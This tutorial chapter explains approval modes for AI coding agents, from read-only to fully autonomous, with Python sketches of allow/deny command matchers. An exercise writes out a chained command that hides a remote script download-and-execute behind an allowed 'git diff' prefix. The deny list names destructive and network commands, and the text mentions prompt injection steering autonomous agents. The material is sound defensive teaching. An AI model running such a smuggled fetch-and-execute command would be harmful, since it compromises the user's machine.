Sub topic 4
Approval Modes from Read-Only to Fully Autonomous
This chapter covers approval modes: the preset policies that decide how much a coding agent can do before it stops and asks you. It assumes you have read the earlier chapters on the agent tool loop, action risk categories, and the allow, ask, and deny decision. You should be comfortable in a terminal and with git.
What an approval mode is
An approval mode is a named bundle of default permission decisions. Instead of deciding allow, ask, or deny for every tool call, you pick a mode, and the mode supplies a default for each risk category: read, write, execute, network, and destructive.
A mode sets defaults only. Explicit deny rules, sandbox limits, and organization policy still apply on top of it. Product names differ, but most agents offer the same ladder of modes.
The spectrum of modes
Think of the modes as steps on a ladder. Each step moves more decisions from you to the agent.
| Mode | Reads | Edits files | Runs commands | Typical use |
|---|---|---|---|---|
| Read-only (plan) | Automatic | Blocked | Blocked or asked | Exploring an unfamiliar codebase, planning a change |
| Ask for everything | Often automatic | Asked each time | Asked each time | First session with a new agent or repository |
| Accept edits | Automatic | Automatic in the workspace | Asked, except allow-listed commands | Everyday feature work with review in the diff |
| Allow-list auto | Automatic | Automatic | Automatic if a rule matches, otherwise asked | Repeated workflows such as test and lint loops |
| Fully autonomous | Automatic | Automatic | Automatic | Throwaway environments, sandboxed runs, CI |
Names vary by tool. Check your agent's documentation for the exact label and for which categories each mode covers.
Read-only mode
In read-only mode the agent can open files, search the code, and list directories. It cannot change anything. Some agents also block shell commands in this mode, because a command such as npm install can modify the disk even though it looks harmless.
Use read-only mode when you want an answer, not a change. Good examples are "Where is authentication handled?" or "Draft a plan to migrate this module." You get the agent's understanding of the code at almost no risk.
Read-only is not zero risk. Reading a file can expose a secret to the model provider, and a file's contents can carry a prompt injection. Later chapters cover both.
Ask-for-everything mode
Here every side-effecting action pauses for your approval. Reads may still run freely, since stopping for each one makes the agent unusable.
This mode is the best way to learn what an agent does. You see each command before it runs. The cost is the interruption rate. A task that touches ten files and runs six commands produces sixteen prompts, and that volume leads to approval fatigue, which a later chapter covers.
Accept-edits mode
Accept-edits mode allows file writes without asking, usually limited to the workspace, and still asks before running commands. It works well because file edits are easy to review and undo. You read the diff afterward, and version control gives you a way back.
The gap in this mode is that a write can have effects beyond the file. If the agent edits package.json, a build script, a git hook, or a CI file, the next command you approve may run that modified code. Treat edits to executable configuration with the same care as commands.
Allow-list mode
In this mode the agent runs commands automatically when they match your allow rules, and asks for the rest. This is where most daily work should sit. You approve safe, repeated commands once, as a rule, and keep prompts for anything unusual.
The quality of your rules decides how safe the mode is. The next chapter covers rule writing in detail, but here is the core mechanism:
from fnmatch import fnmatch
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
def decide(command: str) -> str:
"""Return 'deny', 'allow', or 'ask' for a shell command."""
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
print(decide("git status")) # allow
print(decide("rm -rf build")) # deny
print(decide("npm install")) # askDeny rules run first, so a command that matches both lists is denied. Anything that matches neither falls back to asking you. That fallback is the safe default: unknown means ask.
A prefix pattern has a known weakness. The rule git diff* also matches git diff; echo hi, which is two commands. A stricter check sends any command containing chaining or redirection characters back to the user:
import re
from fnmatch import fnmatch
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
def decide(command: str) -> str:
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
# Characters that let one command string run, chain, or substitute other commands.
CHAINING = re.compile(r"[;&|`$<>\n]")
def decide_safe(command: str) -> str:
if CHAINING.search(command):
return "ask" # never auto-allow compound commands
return decide(command)
print(decide("git diff; echo hi")) # allow (the prefix rule matched a compound command)
print(decide_safe("git diff; echo hi")) # askReal agents parse the command more carefully than this sketch does, but the principle holds. An allow rule is only as strict as the matcher behind it.
Fully autonomous mode
In fully autonomous mode the agent runs every action without asking. Tools label it with names such as "bypass permissions," "yolo," or "trust all." Deny rules may or may not still apply, depending on the tool, so verify that before relying on them.
Autonomy is valuable for long tasks: migrating many files, running a test-fix loop for an hour, or processing a backlog. Nothing waits for you.
The risk is that nothing stops a mistake or a manipulated agent either. A prompt injection hidden in a web page the agent reads can now run commands directly, with your user's full privileges. Use this mode only when the environment limits the damage:
- A container or virtual machine with no access to your home directory.
- No real credentials in the environment, or credentials scoped to a test account.
- Network access limited to the hosts the task needs.
- A clean git state, so you can discard the result.
Common errors
- Assuming the mode is the only control. The mode is a default. Deny rules, the sandbox, and organization settings can override it, and which layer wins depends on your tool.
- Staying in a high-autonomy mode after the task changes. You enable autonomous mode for a safe refactor, then ask the agent to look at a third-party repository in the same session. Switch modes when the trust level of the work changes.
- Treating accept-edits as safe because edits are reversible. Edits to scripts, hooks, and CI files become code execution later.
- Writing broad allow rules to avoid prompts. A rule like
npm *allowsnpm publish. Allow narrow commands and let the rest ask. - Trusting uncommitted work. Autonomous runs on top of uncommitted changes make it hard to separate your edits from the agent's. Commit or stash first.
- Not knowing the mode. Many tools carry the mode across turns. Check the status line before you give a long instruction.
Moving between modes
Treat the mode as something you change during a task, not a fixed setting. A common pattern:
- Start in read-only mode and ask for a plan.
- Review the plan, then switch to accept-edits for implementation.
- Add narrow allow rules for the test and lint commands you keep approving.
- Review the diff and the test results yourself.
- Return to a stricter mode before you start unrelated work.
Summary of trade-offs
Each step up the ladder buys speed and costs oversight. Stricter modes give more review and more interruptions, which can lower review quality over time. Looser modes give uninterrupted work and rely on the sandbox, your rules, and your after-the-fact review. Pick the mode by asking what the worst result of one bad action would be in this environment, not by how annoying the prompts are.
Exercise
You want an agent to run a long test-fix loop overnight on a laptop that holds your SSH keys and cloud credentials. A teammate suggests fully autonomous mode to avoid prompts. What would you do instead, and why?
Show answer
Do not run fully autonomous mode on that laptop. Either run the task in a container or virtual machine without the keys and credentials, with network access limited to what the task needs, or use allow-list mode with narrow rules for the test and lint commands and deny rules for network and destructive commands. Commit or stash your work first so the result can be reviewed or discarded. Autonomous mode removes the human checkpoint, so the environment must limit the damage, and a laptop with real credentials does not.
Exercise
An allow rule git diff* is in place in allow-list mode. Explain why git diff; curl https://example.com/x.sh | sh might still run without a prompt, and name one fix.
Show answer
A prefix or glob match on the whole command string sees that it starts with git diff and approves the entire string, including the chained commands after the semicolon. Fixes include parsing the command into its parts and checking each one, or sending any command that contains chaining or redirection characters (such as ;, &, |, backticks, $, <, >) back to the user for approval. A deny rule for curl * helps, but it can fail if the matcher checks only the start of the string.